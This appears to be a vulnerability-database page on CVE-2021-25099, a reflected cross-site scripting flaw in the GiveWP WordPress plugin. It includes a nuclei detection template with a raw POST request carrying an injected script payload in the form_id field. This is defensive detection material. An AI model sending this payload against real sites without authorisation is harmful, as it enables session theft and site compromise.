HexBrain

Browse / CVEs / CVE-2021-25099

CVE-2021-25099· givewp / givewp· CWE-79

WordPress GiveWP <2.17.3 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

WordPress GiveWP plugin before 2.17.3 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the form_id parameter before returning it in the response of an unauthenticated request via the give_checkout_login AJAX action. An attacker can inject arbitrary script in the browser of a user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update to the latest version of the GiveWP plugin (2.17.3 or higher) to mitigate this vulnerability.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "<script>alert(document.domain)</script>") and contains(body, "give_user_login")

Run it with nuclei: nuclei -id CVE-2021-25099 -u <target>

The full check
id: CVE-2021-25099

info:
  name: WordPress GiveWP <2.17.3 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress GiveWP plugin before 2.17.3 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the form_id parameter before returning it in the response of an unauthenticated request via the give_checkout_login AJAX action. An attacker can inject arbitrary script in the browser of a user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of the GiveWP plugin (2.17.3 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
    - https://wordpress.org/plugins/give/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25099
    - https://plugins.trac.wordpress.org/changeset/2659032
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25099
    cwe-id: CWE-79
    epss-score: 0.02145
    epss-percentile: 0.82233
    cpe: cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: givewp
    product: givewp
    framework: wordpress
  tags: cve2021,cve,xss,wp,give,wordpress,wp-plugin,unauth,wpscan,givewp,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=give_checkout_login&form_id=xxxxxx"><script>alert(document.domain)</script>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "give_user_login")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from